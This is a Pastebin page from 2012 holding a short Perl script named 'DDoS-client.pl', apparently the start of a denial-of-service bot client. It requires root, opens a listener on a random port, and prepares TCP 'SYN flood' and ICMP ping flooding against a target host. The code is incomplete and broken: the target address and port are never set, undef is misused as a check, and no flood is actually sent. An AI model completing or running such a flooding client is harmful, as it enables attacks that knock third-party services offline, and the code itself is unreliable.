gh0st-00p

DDoS-client.pl

Feb 15th, 2012
530
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6 1.61 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use warnings;
  3. use strict;
  4. use IO::Socket::INET;
  5. use IO::Socket::SSL;
  6. use Net::Ping;
  7. use constant TRUE => 1;
  8. use constant FALSE => 0;
  9. my $attacker;
  10. my $listener;
  11. my $IP;
  12. my @time;
  13. my $AM;
  14. my @prot = ('tcp','udp');
  15. my $IP_P;
  16. my @working;
  17. my $wc = 0;
  18. my $login = (getpwuid $>);
  19. my $icmp_flood;
  20. die "[-] Please run this application as root" if $login ne 'root';
  21. if (undef(@ARGV))
  22.     {
  23.     print "[+] It is recomended to run this script in the background by inserting & after name";
  24.     }
  25. print "[+] Intialising loading modules  procedures... \n";
  26. print "[+] Picking a random host on which program will listen \n";
  27. my $LP = int(rand (65500)) || die "[-] Hmm there is something odd, better check your perl version \n";
  28. print "[+] Deploying listener on $LP \n";
  29. if (
  30.         $listener = IO::Socket::INET->new(
  31.                     Port => $LP,
  32.                     Listen => 1,
  33.                     Proto => 'tcp',
  34.                     Reuse => 1)
  35.                     )
  36.                     {
  37.                         $working[$wc++] = TRUE;
  38.                     }
  39. elsif (undef($working[1]))
  40. {
  41.     print "[-] Script failed at creating listener \n";
  42.     $working[$wc++] = FALSE;
  43.     return FALSE;
  44. }
  45. print "[+] Sketching SYN flood packet \n";
  46. # This part might be faulty :?
  47. $attacker = IO::Socket::INET->new(
  48.             PeerPort => $IP_P,
  49.             PeerAddr => $IP,
  50.             Proto => $prot[0]);
  51. die "[-] Failed at sketching packets: $! \n" if undef($attacker);
  52. print "[+] Crafting ping packet against hosts \n";
  53. $icmp_flood = Net::Ping->new("icmp");
  54. #$ping->ping($IP)
  55. print "[+] Everything initialized listening for packets now.... \n";
Advertisement
Add Comment
Please, Sign In to add comment